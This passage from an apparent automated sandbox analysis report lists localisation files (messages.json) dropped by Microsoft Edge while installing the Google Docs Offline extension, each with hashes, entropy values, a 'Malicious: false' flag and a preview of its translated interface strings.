SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
